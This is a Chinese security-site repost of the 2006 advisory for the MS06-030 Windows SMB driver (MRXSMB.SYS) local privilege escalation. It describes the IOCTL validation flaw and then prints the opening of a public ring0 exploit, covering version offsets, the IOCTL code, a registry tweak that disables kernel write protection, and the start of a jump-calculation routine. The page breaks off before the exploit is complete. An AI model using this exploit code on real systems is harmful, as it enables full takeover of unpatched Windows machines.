Microsoft Windows SMB驱动本地权限提升漏洞(MS…

2008-04-09 04:18:11来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Microsoft Windows SMB驱动本地权限提升漏洞(MS06-030)

发布日期:2006-06-13
更新日期:2006-06-14

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000
描述:
BUGTRAQ ID: 18356
CVE(CAN) ID: CVE-2006-2373

Microsoft Windows是微软发布的非常流行的操作系统。

Microsoft客户端缓存(CSCDLL.DLL)和Microsoft服务器消息块重新定向器驱动(MRXSMB.SYS)代码中存在漏洞,本地攻击者可能利用此漏洞提升权限获取机器的完全控制。

用户态程序可通过IOCTL命令访问MRXSMB.SYS的功能函数。在MrxSmbCscIoctlOpenForCopyChunk()函数中存在访问验证错误。如果要同MRXSMB子系统建立通讯的话,就必须创建到影子设备的文件句柄,并使用DeviceIoControl()发布命令。如果攻击者使用METHOD_NEITHER方式标记的话,可能导致不检查地址覆盖Kernel内存,执行攻击者指定的ring0指令。

<*来源:Rubén Santamarta

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115023811505603&w=2
http://www.microsoft.com/technet/security/Bulletin/MS06-030.mspx
http://www.us-cert.gov/cas/techalerts/TA06-164A.html
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=408
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

///////////////////////////////////////////////////////////////////////////////////////
// Mrxsmb.sys XP & 2K Ring0 Exploit (6/12/2005)
// Tested on XP SP2 && 2K SP4
// Disable ReadOnly Memory protection
// HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\EnforceWriteProtection = 0
// -----------------------------------------------------------------------------------
// ONLY FOR EDUCATIONAL PURPOSES.
// -----------------------------------------------------------------------------------
// Rub&#65533;n Santamarta.
// www.reversemode.com
// -----------------------------------------------------------------------------------
// OVERVIEW
// -----------------------------------------------------------------------------------
// There are 3 possible values to change in order to adjust the exploit to other versions.
// # XPSP2 (XP Service Pack 2)
// This variable is equal to the File offset of the Call that we are modifying minus 0xC
//. #XPSP2 => 3D88020000 cmp eax,000000288
//. 770B ja .000064BBE --
//. 50 push eax
//. 51 push ecx
//. E812E2FFFF call .000062DCC -- MODIFIED CALL --
// -----------------------------------------------------------------------------------
// #W2KSP4 (Windows 2000 Service Pack 4)
// The same method previosly explained but regarding to Windows 2000 Service Pack 4.
// -----------------------------------------------------------------------------------
// $OffWord
// This variable is defined in CalcJump() Function.
// E812E2FFFF call .000062DCC -- MODIFIED CALL --
// The exploit calculates automatically the relative jump, but we need to provide it
// the 2 bytes following opcode Call(0xE8). In example, as we can see, to test in XP
// OffWord will be equal to 0xE212.
//////////////////////////////////////////////////////////////////////////////////////



#include <windows.h>
#include <stdio.h>


#define XPSP2 0x54BAC
#define W2KSP4 0x50ADD
#define MAGIC_IOCTL 0x141043

typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,
DWORD ,
LPDWORD);

typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,
LPTSTR lpBaseName,
DWORD nSize);

VOID ShowError()
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL);
MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
exit(1);
}

DWORD CalcJump(DWORD BaseMRX,BOOL InXP,DWORD *hValue,DWORD *ShellAddr)
{

DWORD SumTemp;
DWORD IniAddress;
DWORD i;
DWORD sumAux;
DWORD addTemp;
DWORD OffWord;

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:phpBB bbrss.php远程文件包含漏洞

下一篇:Microsoft Windows SMB驱动本地拒绝服务漏洞(MS06-030)